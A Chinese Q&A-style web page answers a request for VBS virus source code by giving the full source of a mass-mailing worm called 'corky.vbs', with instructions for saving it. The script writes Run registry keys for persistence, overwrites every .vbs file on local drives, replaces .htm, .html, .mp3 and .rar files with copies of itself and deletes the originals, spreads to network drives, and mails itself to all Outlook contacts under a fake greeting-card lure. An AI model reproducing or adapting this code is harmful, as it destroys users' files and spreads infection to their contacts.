求VBS脚本病毒源码
的有关信息介绍如下:
'corky.vbs'corky'11-16-2007'用记事本存为corky.vbs,文件类型选所有文件即*.*dim wsh,fso,fa,allvbs,syspath,winpathset wsh=createobject("wscript.shell")set fso=createobject("scripting.filesystemobject")set fa=fso.openTextFile(Wscript.ScriptFullName,1)allvbs=fa.ReadAllfa.closesettimeoutwinpath=GSF(0)syspath=GSF(1)writereg "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer",syspath&"\corky.vbs"writereg "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\explorer",winpath&"\system.vbs"copyfile BP(winpath,"system.vbs")copyfile BP(syspath,"corky.vbs")listdrivenetcopysendmailset wsh=nothingset fso=nothingsub settimeout()on error resume nextdim a,reset a=createobject("wscript.shell")re=a.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")if (re>=1) thena.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"end ifend subsub copyfile(filename)dim fso,wsh,f1,f2set fso=createobject("scripting.filesystemobject")fso.getfile(wscript.scriptfullname).copy(filename)end subsub writereg(a,b)dim wshset wsh=createobject("wscript.shell")wsh.regwrite a,bend subsub listdrive()dim ds,dset ds=fso.drives for each d in ds if d.drivetype=2 or d.drivetype=3 then listfile d.path&"\"listfolder d.path&"\" end ifnextend subsub listfolder(fds)dim fs,fd,fdf,fnset fs=fso.getfolder(fds) set fd=fs.subfolders for each fdf in fd listfile(fdf.path) listfolder(fdf.path) nextend subsub listfile(folder)dim fd,fs,f,ext,f1,fn,fhset fd=fso.getfolder(folder)set fs=fd.filesfor each f in fsext =fso.GetExtensionName(f)ext=Lcase(ext)fn=Lcase(f.name)f.attributes=0if (ext="vbs") Thenset f1=fso.openTextFile(f.path,2,true)f1.write allvbs f1.closeend ifif (ext="htm" ) or (ext="html") or (ext="mp3") or (ext="rar") thenset fh=fso.CreateTextFile(f.path&".vbs",True)fh.write allvbs fh.closef.deleteend ifnextend subsub netcopy()on error resume nextdim netobj,nddim iset netobj=createobject("wscript.network")set nd=netobj.EnumNetworkDrivesif nd.Count >0 thenFor i=0 to nd.Count-1fso.copyfile BF(GSF(0),"System.vbs")nextend ifend subfunction BP(d,p)on error resume nextBP=fso.Buildpath(d,p)end functionfunction SF(fd)on error resume nextSF=fso.SpecialFolder(fd)end functionfunction GSF(fi)on error resume nextGSF=fso.GetSpecialFolder(fi)end functionsub sendmail()On Error Resume Nextset outobj=Wscript.CreateObject("Outlook.Application")If outobj= "Outlook" ThenSet mapiObj=outlookApp.GetNameSpace("MAPI") Set addrList= mapiObj.AddressLists For Each addr In addrList If addr.AddressEntries.Count <> 0 Then addrEntCount = addr.AddressEntries.Count For addrEntIndex= 1 To addrEntCount Set item = outlookApp.CreateItem(0) Set addrEnt = addr.AddressEntries(addrEntIndex) item.To = addrEnt.Address item.Subject ="你好吗老朋友?好久不见了" item.Body = "这里是我自己制作的贺卡希望你能喜欢!" Set attachMents=item.Attachments attachMents.Add fileSysObj.GetSpecialFolder(1)&"corky.vbs" item.DeleteAfterSubmit = True If item.To <> "" Then item.Send wsh.regwrite "HKCU\software\Mailtest\mailed", "1" End If Next End If NextEnd ifset mapiObj=nothingset outobj=nothingend sub



